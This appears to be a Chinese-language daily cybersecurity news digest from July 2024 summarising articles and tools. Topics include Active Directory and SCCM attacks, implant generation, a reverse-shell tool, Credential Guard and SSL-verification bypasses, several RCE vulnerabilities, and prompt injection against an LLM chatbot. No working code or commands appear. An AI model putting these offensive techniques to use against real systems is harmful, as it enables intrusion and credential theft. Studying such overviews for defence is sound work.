• 数据库特定的攻击方法：文章指出了不同 DBMS（如 MySQL、PostgreSQL、MSSQL、Oracle 和 SQLite）的特定攻击方法和错误生成技术。

🏷️: SQL注入, 网络安全, 技术

0x06 macOS Sequoia 15 Beta 4 SDK更新与SwiftUI改进

macOS Sequoia 15 Beta 4 发布说明详细介绍了 Sequoia 15 Beta 4 版本的 macOS SDK 更新，包括 SwiftUI 的新特性、bug 修复以及开发者需要注意的行为变化。

热评

• 「编者注」:18不想了，先等一波iOS 17的巨魔🤣
• iOS 18/macOS 15 Beta 4 出现 iBoot 未加密漏洞

关键信息点

• SwiftUI 的进一步增强：Sequoia 15 Beta 4 版本继续增强 SwiftUI，提供了更多的 UI 组件和功能，以及更好的开发者体验。
• 兼容性和行为一致性的重视：苹果公司对于新旧版本之间的兼容性和行为一致性表现出了高度重视，通过详细的发布说明帮助开发者平滑过渡。
• 性能优化和 Bug 修复：Sequoia 15 Beta 4 关注了应用程序的性能优化和 Bug 修复，以提升用户体验和开发者的开发效率。
• 开发者需要关注的变化：开发者需要注意新版本中的行为变化，如默认尺寸、导航行为和视图生命周期等，以确保应用程序的正确运行和用户体验。

🏷️: macOS, SwiftUI, 软件开发, SDK更新, 操作系统

0x07 攻击活动目录：从0到0.9

网页主要介绍了如何攻击Active Directory环境，包括了对Active Directory的基本概念、结构、用户管理、组管理、计算机管理、服务管理以及数据库的详细信息，并且提供了一系列的攻击技术和方法，如密码 hash的提取、Kerberos票证的利用、信任关系的滥用、域控制器的嗅探等。

<<<左右滑动见更多 >>>

热评

• 「编者注」:历史老文，今天有人讨论，扫盲101类
• 免费学习 Active Directory 攻击技巧

关键信息点

• Active Directory是企业网络安全的核心，其设计和配置对网络安全至关重要。
• 攻击者可以通过了解Active Directory的结构和组件来识别关键目标，如域控制器、高权限用户和敏感组。
• 密码哈希和Kerberos票证是攻击者获取对域内资源的未授权访问的关键资产。
• 信任关系和服务 principal name（SPN）可能成为攻击者横向移动和提升权限的途径。

🏷️: 活动目录, 攻击, 渗透测试

0x08 FlowAnalyzer：OAuth 2.0和OpenID Connect流分析工具

FlowAnalyzer 是一个帮助理解和测试 OAuth 2.0 授权流程及 OpenID Connect（OIDC）的工具。

热评

• OAuth 2.0 流程分析工具 FlowAnalyzer

关键信息点

• FlowAnalyzer 是一个专门为了帮助理解和测试 OAuth 2.0 授权流程和 OpenID Connect（OIDC）而设计的工具。
• 工具提供了执行授权流程的笔记本和详细的流程说明，以及如何设置证书认证的指南。
• 强调代码仅供测试使用，不应在生产环境中部署。
• 建议使用 Microsoft 身份验证平台的认证库或 JWT.io 上的库来处理生产环境中的认证和授权。

🏷️: OAuth, OpenID Connect, 安全测试, 工具

0x09 SCCMHunter：简化SCCM资产识别与攻击的工具

SCCMHunter是一个针对微软系统管理中心配置管理器（SCCM）的后期渗透工具，旨在简化识别、描述和攻击AD域中的SCCM相关资产。

热评

• 「编者注」:bh us 马上要讲这个，SpecterOps发布

关键信息点

• SCCMHunter是一个专门针对SCCM的后期渗透工具，它能够帮助渗透测试人员在Active Directory域中更有效地识别和攻击SCCM相关的资产。
• 开发者建议使用Python虚拟环境来安装SCCMHunter，以避免潜在的依赖冲突。
• 工具的开发和测试在实验室环境中进行，实际使用效果可能因环境而异，开发者鼓励用户在遇到问题时寻求帮助。
• SCCMHunter的开发受到了社区多位研究者的研究成果和实践经验的影响，这些研究者在SCCM的安全研究领域做出了显著贡献。

🏷️: SCCM, 网络安全, 攻击工具, Active Directory, 实验室环境

0x0a PumpBin：植入生成平台

PumpBin 是一个用于生成植入物（Implant）的平台，支持本地和远程插件类型，并采用 Extism 插件系统提供强大的扩展性，每个生成的植入物都具有唯一的随机加密密钥和随机化数据。

<<<左右滑动见更多 >>>

热评

• PumpBin：一款植入程序生成平台
• Rust 编写的植入物生成平台：支持 Extism 插件系统

关键信息点

• PumpBin 旨在简化和标准化最终植入物的生成过程，提高网络安全研究人员和攻击人员的工作效率。
• 通过使用 PumpBin，网络安全团队可以更灵活地生成定制的植入物，而无需频繁的直接沟通。
• PumpBin 的设计遵循最小化原则，确保了平台的高灵活性和适应性。
• PumpBin 的独特性在于它不依赖于网络连接（除了 Extism 插件），并且每个生成的植入物都是独一无二的，这有助于提高安全性和隐蔽性。

🏷️: 植入生成, 平台, 技术

0x0b WhatsApp漏洞：Android恶意软件伪装成PDF文件

2024年7月14日，一位恶意软件分析师发现了WhatsApp Messenger for Android的一个安全漏洞，攻击者可以通过API接口将恶意Android应用伪装成聊天中分享的PDF文件。

热评

关键信息点

• 这个安全问题是通过WhatsApp的API接口来利用的，而不是通过直接在应用中发送附件。
• 即使WhatsApp显示了正确的文件扩展名，对于不太熟悉技术的用户来说，这种方法也可能有效，因为他们可能不知道APK文件是Android应用程序的扩展名。
• WhatsApp在用户尝试打开可能含有有害内容的文档时会发出警告，但这个警告并没有明确指出文件可能是一个应用程序而不是文档。
• WhatsApp Web和Desktop版本不受这个问题的影响，因此使用电脑版的WhatsApp不会因为文件名的更改而下载或执行有害软件。

🏷️: WhatsApp, Android, 恶意软件, PDF, 安全漏洞

2024-07-22 「红蓝热点」每天快人一步

1. 推送「新、热、赞」，帮部分人阅读提效
2. 学有精读浅读深读，艺有会熟精绝化，觉知此事重躬行。推送只在浅读预览
3. 机读为主，人工辅助，每日数万网站，10w推特速读
4. 推送可能大众或小众，不代表本人偏好或认可
5. 因渲染和外链原因，公众号甲方安全建设发送日报或日期,如20240722获取图文评论版pdf

0x01 利用视图状态漏洞攻击微软Exchange服务器

网页主要介绍了ASP.NET中的View State机制，以及如何利用View State进行攻击，包括在简单的Web应用程序和全面补丁的Microsoft Exchange 2019主机上的攻击手段。此外，还讨论了成功攻击后产生的证据、如何检测这些攻击，以及如何修复受影响的网络。

<<<左右滑动见更多 >>>

热评

• IIS机器密钥和视图状态安全漏洞：识别、修复及防御
• IIS 永久漏洞被利用，ViewState 攻击持续活跃

关键信息点

• View State是ASP.NET应用程序中用于维护状态的关键机制，但它可能会被用于攻击。
• View State的安全性依赖于加密和认证，但并非所有应用程序都启用了这些安全措施。
• 攻击者可以通过获取有效的机器密钥和相关的安全算法来构造恶意的View State，从而实现远程代码执行。
• 检测View State攻击的关键在于分析Windows事件日志，特别是事件ID 1316。

🏷️: 视图状态, 漏洞利用, 微软Exchange, 网络安全

0x02 Back-Me-Up：自动化漏洞挖掘工具

Back-Me-Up 是一个自动化漏洞挖掘过程的工具，它通过收集互联网档案中的URLs，并使用正则表达式和模式来检测敏感数据泄露。

<<<左右滑动见更多 >>>

热评

• 自动化漏洞赏金流程工具

关键信息点

• Back-Me-Up 旨在帮助漏洞赏金者和渗透测试人员自动化敏感数据泄露的检测过程。
• 该工具的核心功能包括自动化的URL收集、敏感扩展名的过滤和基于正则表达式的数据分析。
• Back-Me-Up 提供了一个用户友好的命令行界面，并且具有灵活性，可以根据用户的需求添加更多的扩展名。
• 作者强调了该工具的合法和负责任使用，并对其使用提供了明确的指导和限制。

🏷️: 漏洞挖掘, 数据泄露, 自动化工具

0x03 挑战通过：击败Windows Defender凭证防护

本文介绍了新的技术手段，用于在Windows Defender Credential Guard保护下从加密的凭据中恢复NTLM哈希值。

热评

关键信息点

• Credential Guard虽然提供了保护，但并非完全安全。攻击者可以通过新的技术手段来绕过其保护机制。
• 攻击者可以通过与LSAIso进程的交互来获取加密的NTLM哈希值。通过ALPC（Advanced Local Procedure Calls）和RPC（Remote Procedure Calls）与LSAIso进程通信，可以执行操作以解密NTLM哈希值。
• 加密的NTLM凭据可以跨重启持久化。这意味着即使系统重启，攻击者仍然可以利用之前获取的信息来进行攻击。
• 攻击者可以利用AD CS来请求证书。通过模拟用户的证书请求，攻击者可以获取证书并进一步利用该证书来认证并提取NTLM哈希值。

🏷️: NTLM, LSASS, LSAIso, 凭证, 哈希

0x04 新型的三明治攻击应用场景

本文介绍了一种新的利用场景，即在不知道时间戳的情况下，通过监控和猜测 MongoDB Object ID 格式的邀请令牌来实现攻击。

<<<左右滑动见更多 >>>

热评

• 时间型密钥新应用：实时监控 Web 应用邀请

关键信息点

• 时间戳和计数器的重要性：MongoDB Object ID 由时间戳、进程和计数器组成，这些信息对于实施三明治攻击至关重要。
• 长时间段的攻击不切实际：长时间段的三明治攻击需要高速验证大量令牌，这在现实中不太可行。
• 短时间段的优势：通过使用多个短时间段，可以显著减少需要猜测的令牌总数，从而提高攻击的可行性。
• 计数器监控的作用：通过监控计数器的变化，攻击者可以更有效地检测新令牌的生成，并优化请求数量。

🏷️: 攻击, MongoDB, 安全漏洞, 时间戳

0x05 Helios：自动化XSS审计工具

Helios 是一个自动化的跨站脚本（XSS）审计工具，支持多种浏览器，能够对 URL 参数、POST 参数、头部信息和 DOM 内容进行全面扫描，检测 XSS 漏洞，并提供详细的报告功能。

<<<左右滑动见更多 >>>

热评

• Helios：自动化跨站脚本 (XSS) 测试工具
• Helios: 自动化跨站脚本 (XSS) 漏洞审计工具

关键信息点

• Helios 是一个针对 XSS 漏洞的自动化审计工具，它提供了一系列高级功能，如多浏览器支持、无界面模式、多线程并发扫描、自定义配置和爬虫功能，以及详细的报告输出。
• 工具强调对 DOM-Based XSS 漏洞的检测，并通过自动化的 payload 定制提高了检测的准确性。
• Helios 目前正在积极开发中，虽然已经具备了强大的扫描能力，但仍然处于早期阶段，可能存在不稳定性和局限性。
• 开发者鼓励社区的参与和反馈，以帮助改进工具，并在未来版本中提供更多的功能和性能优化。

🏷️: XSS, 自动化审计, 网络安全, 浏览器支持, 多线程扫描

2024-07-21 「红蓝热点」每天快人一步

1. 推送「新、热、赞」，帮部分人阅读提效
2. 学有精读浅读深读，艺有会熟精绝化，觉知此事重躬行。推送只在浅读预览
3. 机读为主，人工辅助，每日数万网站，10w推特速读
4. 推送可能大众或小众，不代表本人偏好或认可
5. 因渲染和外链原因，公众号甲方安全建设发送日报或日期,如20240721获取图文评论版pdf

0x01 Apache HTTP服务器高危漏洞影响版本2.4.0至2.4.61

GitHub 上的一个仓库（TAM-K592/CVE-2024-40725-CVE-2024-40898）披露了两个高危漏洞（CVE-2024-40725 和 CVE-2024-40898），这些漏洞影响了 Apache HTTP Server 2.4.0 至 2.4.61 版本，可能导致源代码泄露和服务器端请求伪造（SSRF）攻击。

热评

• Apache HTTP Server 2.4.0 - 2.4.61 版本存在漏洞 CVE-2024-40725 和 CVE-2024-40898
• Apache HTTP Server 2.4.0-2.4.61 版本发现漏洞 CVE-2024-40725 和 CVE-2024-40898

关键信息点

• CVE-2024-40725 漏洞的存在是由于 mod_proxy 模块在处理 ProxyPass 指令和 URL 重写规则时的解析不一致，这可能导致 HTTP 请求欺骗攻击。
• 攻击者可以通过发送精心构造的 HTTP 请求来利用这个漏洞，从而在代理服务器和后端服务器之间造成请求解析的不一致，进而实现信息泄露等攻击。
• CVE-2024-40898 漏洞的危险之处在于，它允许攻击者绕过 mod_ssl 模块的客户端认证机制，这可能导致未授权的系统访问。
• 对于这两个漏洞，最重要的缓解措施是升级到 Apache HTTP Server 的最新版本，同时对现有的代理和 SSL 配置进行审计和加固，以确保不会因为配置错误而暴露于这些高危漏洞。

🏷️: CVE, SSRF, 漏洞, Apache HTTP服务器, HTTP请求走私

2024-07-20 安全「信息差」每天快人一步

1. 推送「新、热、赞」，降噪增效
2. 查漏补缺，你可能错过了一些小东西
3. 机读为主，人工辅助，每日数万网站，10w推特速读
4. 推送可能大众或小众，不代表本人偏好或认可
4. 因渲染和外链原因，公众号甲方安全建设发送日报或日期,如20240720获取完整pdf

0x01 提取NTDS文件中BitLocker密码的脚本

该网页提供了一个PowerShell脚本，用于从Windows的NTDS.dit文件中提取BitLocker密码恢复相关的记录。

关键信息点

• 脚本的目的 是为了帮助管理员或者安全分析师在需要时能够从NTDS.dit文件中提取BitLocker的密码恢复信息。
• 脚本的操作 包括验证NTDS文件的完整性，加载必要的程序集，附加和打开数据库，获取和检查数据表列，遍历记录以提取相关数据，以及最终的清理工作（关闭数据库连接）。
• 脚本的输出 是一个包含BitLocker密码恢复信息的数组，可以通过命令行输出或者图形界面展示。
• 脚本的版本 是20210828.01，表明它是在2021年8月28日发布的，并且在初始版本后进行了优化，移除了冗余的程序集。

🏷️: PowerShell, BitLocker, 数据安全

0x02 Respotter：网络Responder实例检测工具

Respotter 是一个用于检测网络中活跃的 Responder 实例的应用程序，它通过监听 LLMNR、mDNS 和 NBNS 协议的请求来发现可能存在的 Responder 实例，并支持将警报通过 Webhook 发送到 Slack、Teams 或 Discord，也可以将事件发送到 Syslog 服务器。

关键信息点

• Respotter 利用 Responder 的特性检测网络中的潜在威胁：通过监听特定协议的请求，Respotter 能够发现网络中的 Responder 实例，这对于网络安全是一个重要的检测手段。
• 集成了多种警报机制：Respotter 支持将警报发送到 Slack、Teams、Discord 或 Syslog 服务器，这有助于及时通知团队成员或将事件整合到安全监控系统中。
• 考虑到通知的平衡：为了避免通知滥发，Respotter 对警报进行了速率限制，确保通知的有效性和重要性。
• 安全运营的考量：Respotter 不会进行响应毒化，这是出于对操作安全（opsec）的考虑，避免对网络中的其他客户端造成干扰或问题。

🏷️: 网络检测, Responder, 警报系统, Webhook

0x03 使用组策略在安全模式下自动修复CrowdStrike导致的蓝屏问题

网页提供了一个PowerShell脚本解决方案，用于在Windows系统中自动删除导致蓝屏（BSOD）的CrowdStrike驱动程序文件，并在修复后取消Safe Mode启动。

关键信息点

• 自动化解决方案：提供的PowerShell脚本实现了自动化删除问题驱动程序文件的功能，减少了手动操作的复杂性和时间消耗。
• 安全模式操作：脚本包括了在Safe Mode下操作的逻辑，确保在系统无法正常启动时也能执行修复。
• 错误处理：脚本中包含了异常处理，能够捕获删除文件过程中可能出现的错误并输出相应的信息。
• 系统恢复：脚本在完成修复后，会自动移除Safe Mode启动选项，确保系统在下次启动时恢复到正常模式。

🏷️: PowerShell, CrowdStrike, 蓝屏, 安全模式, 组策略

0x04 自适应DLL劫持攻击技术HADESS解析

网页主要介绍了DLL劫持攻击技术，包括其原理、技术变体、防御策略以及相关工具的使用。

关键信息点

• DLL劫持利用了Windows应用程序加载DLL的顺序，通过将恶意DLL放置在搜索路径的前面，可以实现对应用程序的控制。
• 已知DLL列表和安全搜索顺序是Windows防止DLL劫持的两种防御机制。
• 导出表克隆和动态IAT修补是DLL劫持的两种高级技术，它们可以在不影响应用程序原有功能的情况下，将函数调用重定向到恶意代码。
• 反射性DLL加载是一种在内存中加载和执行DLL的技术，它可以绕过文件系统检测，使得恶意DLL更难被发现。

🏷️: DLL劫持, Windows安全, 恶意软件, 攻击技术

0x05 Electron JS ASAR 完整性绕过

本网页主要介绍了如何绕过Electron JS应用程序中的ASAR文件完整性检查。

关键信息点

• Electron JS框架的ASAR文件完整性检查机制是为了防止应用程序代码被篡改。
• 通过计算ASAR文件头部信息的SHA256哈希值，可以获取与主执行文件中存储的哈希值相匹配的正确哈希值。
• 即使在没有错误日志的情况下，也可以通过应用程序崩溃时显示的错误信息来获取新的ASAR文件哈希值。
• 开发者可以通过修改ASAR文件，并在主执行文件中更新相应的哈希值来绕过完整性检查。

🏷️: Electron JS, ASAR, 完整性, 应用程序, 代码安全

0x06 Dock图标插件或可用于提权

网页主要介绍了macOS中Dock tile插件的安全风险，这些插件可能被用于提升权限，导致特权升级和虚拟机逃逸的漏洞，并最终得到了Apple在macOS Sonoma 14.4版本中的修复。

关键信息点

• Dock tile插件的设计允许应用在未运行时自定义Dock图标，但这也带来了安全风险。
• 如果Dock tile插件存在于所有用户可访问的目录，它们就可能被用于实现标准到管理员用户的权限升级。
• 在虚拟机环境中，如果共享文件夹被启用，Dock tile插件可以被用来实现虚拟机逃逸。
• Apple在macOS Sonoma 14.4版本中修复了这个漏洞，通过检查应用程序的数据容器来确保插件的安全加载。

🏷️: macOS, 插件, 权限提升

每天快人一步

1. 推送「新、热、赞」，降噪增效

2. 查漏补缺，你可能错过了一些小东西

0x01 下一代渗透测试工具Atexec-pro：利用任务调度器（无需端口445）

Atexec-pro是一个基于atexec.py修改的下一代渗透测试工具，它通过任务调度器执行命令，支持文件上传、下载以及.Net程序集的执行，主要依赖TSCH服务，无需使用端口445。

关键信息点

• Atexec-pro工具的设计目的是为了提供一个不依赖端口445的渗透测试工具，通过任务调度器（Task Scheduler）执行命令，增强渗透测试的灵活性和隐蔽性。
• 功能支持方面，Atexec-pro提供了多种操作，包括命令执行、PS命令执行、文件上传、文件下载和.Net程序集执行，但目前对于文件大小有限制。
• 安全性考虑，尽管Atexec-pro支持多种认证方式，但它并不提供绕过AMSI的能力，这意味着用户需要确保其他方面的安全措施，以避免被Windows Defender检测到。
• 易用性和配置性，Atexec-pro提供了详细的命令行参数选项，使得用户可以根据需要配置和使用该工具，包括接口选择、编码格式、认证方式等。

🏷️: 渗透测试, 任务调度器, 网络安全

0x02 JumpServer v3.0.0-v3.10.11 存在任意文件写入漏洞导致远程代码执行

JumpServer v3.0.0-v3.10.11 存在安全漏洞，攻击者可利用 Ansible 播种书（playbook）编写任意文件，导致 Celery 容器中的远程代码执行（RCE），进而可能窃取所有主机的秘密、创建具有管理员权限的新 JumpServer 账户或以其他方式操纵数据库。

关键信息点

• JumpServer 的特定版本（v3.0.0-v3.10.11）存在安全漏洞，可能导致严重的安全后果。
• 攻击者可以通过 Ansible 播种书（playbook）编写任意文件，这可能导致 Celery 容器中的远程代码执行（RCE）。
• 由于 Celery 容器具有 root 权限和数据库访问权限，攻击者可以利用 RCE 来窃取敏感信息、创建管理员账户或操纵数据库。
• 攻击者需要具有较低权限的账户并能够访问 Job Center 功能，这是一个前提条件。

🏷️: 安全漏洞, 远程代码执行, Ansible, JumpServer

0x03 JumpServer 安全漏洞：Ansible 剧本模板任意文件读取

JumpServer v3.0.0-v3.10.11 版本中存在一个安全漏洞，允许攻击者通过创建恶意的 Ansible 剧本模板来读取 Celery 容器中的任意文件，这可能导致敏感信息泄露。

关键信息点

• 该漏洞主要影响了 JumpServer 的 v3.0.0 到 v3.10.11 版本。
• 攻击者可以通过 Job Center 功能利用此漏洞，即使是使用低权限账户也能实施攻击。
• Celery 容器的 root 权限和数据库访问权限增加了漏洞的严重性，因为它允许攻击者获取敏感信息或进行进一步的攻击。
• 强烈建议 用户升级到 v3.10.12 或 v4.0.0 版本以确保安全。

🏷️: 安全漏洞, Ansible, JumpServer, 信息泄露

0x04 CVE-2024-38519: youtube-dl 及 yt-dlp 的路径遍历漏洞导致 RCE

安全实验室发现youtube-dl及yt-dlp在处理字幕文件时存在Path Traversal漏洞，可能导致远程代码执行（RCE）。

关键信息点

• youtube-dl及yt-dlp的安全漏洞源于对字幕文件扩展名的不充分验证，导致Path Traversal漏洞。
• yt-dlp是youtube-dl的分支，自youtube-dl停止维护后，yt-dlp已成为大多数用户的首选视频下载工具。
• Path Traversal漏洞可能允许攻击者执行远程代码（RCE），这是因为在构建字幕文件名时，不存在的路径被允许，特别是在Windows系统上。
• 安全实验室提供的XML示例展示了如何利用这一漏洞，通过托管恶意XML文件来实现RCE。

🏷️: CVE, youtube-dl, yt-dlp, 路径遍历, RCE

0x05 OpenAI发布成本效益高的GPT-4o mini模型

OpenAI推出了GPT-4o mini，这是一款成本效益高的小型模型，旨在使AI应用更加普及和经济。

关键信息点

• GPT-4o mini的成本效益：GPT-4o mini的价格显著低于之前的先进模型和GPT-3.5 Turbo，使得AI技术更加普及和经济。
• 性能提升：GPT-4o mini在MMLU、MGSM和HumanEval等基准测试中的表现优于其他小型模型，特别是在文本智能、数学和编码能力、多模态推理方面。
• 增强的安全性：OpenAI将安全性作为模型开发的重要组成部分，通过预训练和后训练的各种技术来加强模型的安全性，包括RLHF和指令层次结构方法。
• 更广泛的应用：GPT-4o mini支持文本和视觉模式，并计划支持图像、视频和音频输入输出，这使得它能够适用于更多种类的应用场景。

🏷️: OpenAI, GPT-4o mini, 成本效益, AI应用, 小型模型

0x06 SolarWinds Access Rights Manager曝出远程代码执行漏洞

SolarWinds Access Rights Manager 存在一个远程代码执行漏洞，攻击者无需身份验证即可利用该漏洞在受影响的安装中执行任意代码。

关键信息点

• 未经身份验证的远程代码执行：攻击者不需要任何身份验证就能利用这个漏洞，这增加了攻击的可能性和危害。
• 系统级别的权限：成功利用该漏洞的攻击者可以在 SYSTEM 权限下执行代码，这是 Windows 操作系统中最高级别的权限，能够对系统进行深远的控制和修改。
• 严重的安全风险：由于漏洞的存在，可能导致整个系统的安全受到威胁，攻击者可以安装程序、查看、更改或删除数据，或者创建新的账户。
• EndUpdate 方法的设计缺陷：该漏洞的存在表明在 SolarWinds Access Rights Manager 的设计或实现中存在关键的安全缺陷，需要通过安全更新或补丁来解决。

🏷️: 漏洞, 远程代码执行, 网络安全, SolarWinds

0x07 XBOW技术破解加密

网页主要介绍了XBOW如何利用padding oracle攻击来破解加密算法，并成功地解密了一个用于身份验证的加密cookie。

关键信息点

• Padding oracle攻击展示了在实际应用中，即使是微小的实现错误也可能导致严重的安全漏洞。
• CBC模式加密虽然广泛使用，但如果没有正确处理，也是容易受到攻击的。
• PKCS #7填充方案虽然便于去除填充，但也为攻击者提供了利用的可能性。
• XBOW的成功攻击证明了自动化渗透测试工具在发现和利用加密漏洞方面的高效性和实用性。

🏷️: Padding Oracle攻击, 加密破解, 加密安全

0x08 利用Windows安装程序的通用操作实现潜在安全漏洞

文章主要探讨了Windows Installer服务中的一个未修复的漏洞，该漏洞可以被利用来提升本地用户的权限。

关键信息点

• Windows Installer服务的未修复漏洞可以被利用进行权限提升。文章强调，尽管微软通过重定向守护减轻了symlink攻击的风险，但并没有直接解决漏洞的根本问题。
• 自定义动作是实现MSI安装扩展功能的关键。自定义动作可以采用多种形式，但也带来了安全风险，因为它们可能会依赖不受信任的资源或在不必要的权限级别上运行。
• 普通用户可以利用自定义动作中的漏洞来执行具有系统完全权限的命令。这可能导致本地权限提升，为恶意用户提供了一种攻击手段。
• 微软对于该漏洞的处理不充分。文章指出，微软没有能够复现该问题，因此将其标记为无法复现并关闭了相关报告，尽管该漏洞在最新的Windows版本中仍然存在。

🏷️: Windows Installer, 安全漏洞, 命令执行, 文件删除, 系统权限

0x09 项目发现 /nuclei中未签名代码模板的执行漏洞

GitHub 上 projectdiscovery/nuclei 项目中存在一个未签名代码模板执行漏洞，允许通过工作流文件执行代码，而不需要 -code 选项和签名。

关键信息点

• 该漏洞利用了 -w 选项来执行工作流文件，而不是通常用于执行代码模板的 -t 选项。
• 攻击者可以通过编写恶意的 code.yaml 文件，其中包含 workflows 字段，来执行任意命令。
• 该漏洞可能影响那些将 Nuclei 用于安全扫描的 web 应用程序，允许用户编辑和执行工作流文件。
• 漏洞的存在表明，即使在安全工具本身中，也可能存在安全漏洞，这可能会被利用来进行二次攻击。

🏷️: security_vulnerabilities, code_execution, workflows, projectdiscovery, nuclei

2024-07-18 安全「信息差」每天快人一步

1. 推送「新、热、赞」，降噪增效

2. 查漏补缺，你可能错过了一些小东西

0x01 内存中执行未经管理的PE文件工具

No-Consolation 是一款可以在内存中执行未经管理的 PE 文件（包括 EXE 和 DLL），并且能够检索输出结果而不需要分配控制台或创建新进程的工具。

关键信息点

• No-Consolation 工具的设计目的是在不创建新进程和控制台的情况下，高效地在内存中执行未经管理的 PE 文件，并且能够处理这些文件的输出。
• 该工具的内存管理功能，包括加载、保存和卸载 PE 文件，提高了操作的灵活性和安全性。
• 通过丰富的命令行选项，用户可以精确控制 PE 文件的加载方式、执行方式和内存管理行为，满足不同的使用场景。
• No-Consolation 的设计考虑到了对 DLL 的支持，包括链接到 PEB、执行特定导出函数以及处理依赖项。

🏷️: No-Consolation, PE文件执行, 内存管理, 工具, 编程

0x02 Bifrost 工具使用指南

Bifrost 是一个针对 macOS 设备上 Heimdal krb5 APIs 的 Objective-C 项目，旨在通过原生 API 进行更好的安全测试，特别是针对 Kerberos 的测试，无需安装额外的框架或包。

关键信息点

• Bifrost 项目的设计目的是为了在 macOS 环境下进行 Kerberos 安全测试，它利用了 Heimdal krb5 APIs 提供的功能。
• Bifrost 提供了一系列命令行工具，使得安全研究人员能够更方便地操作和测试 Kerberos 认证流程。
• 通过 Bifrost，用户可以轻松地导出和导入 Kerberos 票证，以及执行高级操作，如 S4U 和 Kerberoasting。
• Bifrost 支持多种加密类型，确保了在不同安全要求的环境中的适用性。

🏷️: 网络安全, 工具使用

0x03 利用提示注入攻击生成式AI聊天机器人的方法

NetSPI 研究人员通过 prompt injection 漏洞成功地对一个集成了大型语言模型（LLM）的聊天机器人进行了攻击，实现了远程代码执行（RCE），并强调了 AI 聊天机器人安全性的重要性。

关键信息点

• AI 聊天机器人的安全性至关重要，尤其是当它们能够接受和执行用户输入时。
• 聊天机器人的代码执行功能需要得到适当的限制和隔离，以防止恶意行为。
• 对于 AI 系统，应该实施强 authentication 和 access controls 以防止未授权的交互。
• AI 系统的输入应该进行验证和消毒，以防止 prompt injection 和其他攻击技术。

🏷️: AI安全, 聊天机器人, 提示注入, 语言模型, 系统漏洞

0x04 识别PsExec的关键方法

本文介绍了如何识别并分析使用 PsExec 工具的活动，特别是在安全事件和恶意软件攻击中，强调了新的识别方法，如 USN 日志和 Prefetch 文件。

关键信息点

• PsExec 是一个强大的工具，但也常被威胁行为者用于恶意目的，如勒索软件部署。
• 通过系统事件 7045 和安全事件 4624 类型 3，可以追踪 PsExec 的执行和源系统。
• PsExec v2.30 及以后版本引入了 .key 文件的机制，这些文件的创建被记录在 USN 日志和 Prefetch 文件中，为分析师提供了新的识别手段。
• 尽管存在一些异常情况，USN 日志中可能不会记录 .key 文件的创建事件，但这些新的识别方法对于取证分析和追踪威胁行为者的活动至关重要。

🏷️: PsExec, 远程管理工具, 威胁行为者, 系统安全

0x05 如何绕过Golang的SSL验证

本文介绍了如何在使用 Golang 的 HTTPS 请求时绕过 SSL 证书验证，包括手动修改代码和使用 Python 脚本自动化修补预编译应用程序的方法。

关键信息点

• Golang 的 HTTPS 请求默认启用 SSL 验证，这可能会干扰安全测试和漏洞检查。
• 直接修改预编译应用程序的二进制文件是绕过 SSL 验证的一种方法，这对于没有源代码访问权限的情况尤其有用。
• 深入理解 net/http 库和 verifyServerCertificate 函数的工作原理是关键，它使得定位并修改相关的程序集指令成为可能。
• 逆向工程和程序集级别的修改需要对程序的内部结构有一定的了解，但不需要深入的低级编程技能。

🏷️: Golang, SSL验证, 网络安全, HTTPS请求

0x06 统领一切的反向Shell工具

本文介绍了一种新的反向shell工具oneshell，旨在解决现有工具存在的问题，如依赖不同的系统环境、连接不安全等，提供了一种跨平台、安全的反向shell解决方案。

关键信息点

• 跨平台兼容性：oneshell的设计目标是创建一个在大多数系统上都能工作的payload，减少攻击者在建立连接时需要尝试的payload数量。
• 连接安全性：使用Mutual TLS（MTLS）来确保数据传输的安全性，防止中间人攻击和数据泄露。
• 简化依赖：通过创建一个极小的ELF文件，避免了对系统中的curl、wget等工具的依赖，使得payload更加通用。
• 数据完整性：采用Treyfer算法实现CBC-MAC，以确保下载的二进制文件未被篡改。

🏷️: 反向shell, 网络安全, 跨平台, 安全解决方案

0x07 Chunk Loader：动态加载JavaScript文件的Chrome扩展

Chunk Loader 是一款 Chrome 扩展程序，用于从指定的 URL 加载和导入 JavaScript 分块文件，对于需要基于主脚本动态加载多个 JavaScript 文件的开发者来说非常有用。

关键信息点

• Chunk Loader 提供了一种高效的方式来动态加载和导入 JavaScript 分块文件，这对于前端开发和调试非常重要。
• 该扩展程序支持自定义分块文件的基路径和文件扩展名，增加了灵活性。
• 安装和使用 Chunk Loader 的过程被详细记录在网页上，便于开发者遵循。
• 项目鼓励社区参与，通过开源贡献来改进和完善该工具。

🏷️: Chrome扩展, JavaScript, 开发者工具

2024-07-17 安全「信息差」每天快人一步

1. 推送「新、热、赞」，降噪增效

2. 查漏补缺，你可能错过了一些小东西

0x01 通过未公开的Windows API进行远程会话枚举

0x02 常见HTTP 403错误绕过工具介绍第二部分

0x03 MacOS上未公开实现的主要刷新令牌攻击

0x04 保护工具：检测技术

0x05 Cobalt Strike 4.10发布：引入BeaconGate和Sleepmask-VS

0x06 统一代理规则：绕过WAF的强大工具

0x07 加强Kerberos安全：理解Kerberos Armoring的必要性

部分能力后期会开放，比如知识库/迪斯科等，星球身份是后期各服务的通行证
AI目前比较贵，为了可持续发展，设置了星球的地板价25元(系统最低价)

2024-07-16 安全「信息差」每天快人一步

1. 推送「新、热、赞」，降噪增效

2. 查漏补缺，你可能错过了一些小东西

0x01 2020: Nacos安全漏洞导致无认证SQL执行

0x02 2021: 特定端点身份验证绕过漏洞（CVE-2021-29442）

0x03 2023: Derby数据库实现RCE的方法

0x04 2024: 公开nacos 0day漏洞执行远程代码攻击

0x05 Xbox系统内核漏洞利用

0x06 利用Ollama插件在本地重命名Binary Ninja函数和变量

0x07 利用SharpHound工具进行Active Directory攻击路径管理和检测

部分能力后期会开放，比如知识库/迪斯科等，星球身份是后期各服务的通行证
AI目前比较贵，为了可持续发展，设置了星球的地板价25元(系统最低价)

2024-07-15 安全「信息差」每天快人一步

1. 推送「新、热、赞」，降噪增效

2. 查漏补缺，你可能错过了一些小东西

0x01帝国C2框架的利用漏洞分析与防范建议

0x02 RogueSliver工具破坏Sliver C2框架活动

0x03 CHAOS RAT v5.01网络面板远程代码执行漏洞分析

0x04 proctools：Windows进程信息提取与字符串转储工具

0x05 Havoc C2团队服务器上的未经身份验证SSRF漏洞

部分能力后期会开放，比如知识库/迪斯科等，星球身份是后期各服务的通行证
AI目前比较贵，为了可持续发展，设置了星球的地板价25元(系统最低价)

前言

一句话总结(点击原文跳转)

主要描述了一个在Evernote应用中发现的关键性漏洞，该漏洞可以通过嵌入恶意PDF文件到笔记中，利用PDF.js的字体注入进行JavaScript代码执行，进而通过Electron的ipcRenderer和BrokerBridge实现跨进程通信，最终达到远程代码执行（RCE）的攻击链。

